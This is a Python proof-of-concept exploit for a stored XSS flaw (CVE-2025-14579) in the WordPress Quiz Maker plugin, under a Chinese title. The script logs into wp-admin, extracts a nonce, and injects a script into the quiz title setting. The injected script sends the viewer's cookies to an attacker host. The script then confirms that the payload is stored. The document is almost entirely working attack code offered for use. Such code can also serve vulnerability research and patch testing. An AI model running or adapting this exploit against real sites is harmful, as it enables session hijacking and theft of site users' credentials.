CVE-2025-14579 WordPress Quiz Maker插件存储型XSS漏洞

import requests import re # CVE-2025-14579 PoC - WordPress Quiz Maker Stored XSS # Target: WordPress site with vulnerable Quiz Maker plugin < 6.7.0.89 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" def get_nonce(session, url): """Extract WordPress nonce from page""" response = session.get(url) match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) return match.group(1) if match else None def exploit_stored_xss(): """Exploit stored XSS in Quiz Maker settings""" session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/admin.php?page=quiz-maker" } session.post(login_url, data=login_data) # Step 2: Get nonce for Quiz Maker settings settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=quiz-maker" nonce = get_nonce(session, settings_url) # Step 3: Inject malicious JavaScript payload in settings # XSS payload: <script>alert(document.cookie)</script> xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' settings_data = { '_wpnonce': nonce, 'quiz_maker_settings[quiz_title]': f'Test Quiz {xss_payload}', 'quiz_maker_settings[submit]': 'Save Changes' } response = session.post(settings_url, data=settings_data) # Step 4: Verify XSS is stored and triggered when page is accessed verify_url = f"{TARGET_URL}/wp-admin/admin.php?page=quiz-maker" response = session.get(verify_url) if xss_payload in response.text: print("[+] XSS payload successfully stored!") print("[+] Payload will execute when settings page is viewed") return True else: print("[-] XSS payload not found in response") return False if __name__ == "__main__": exploit_stored_xss()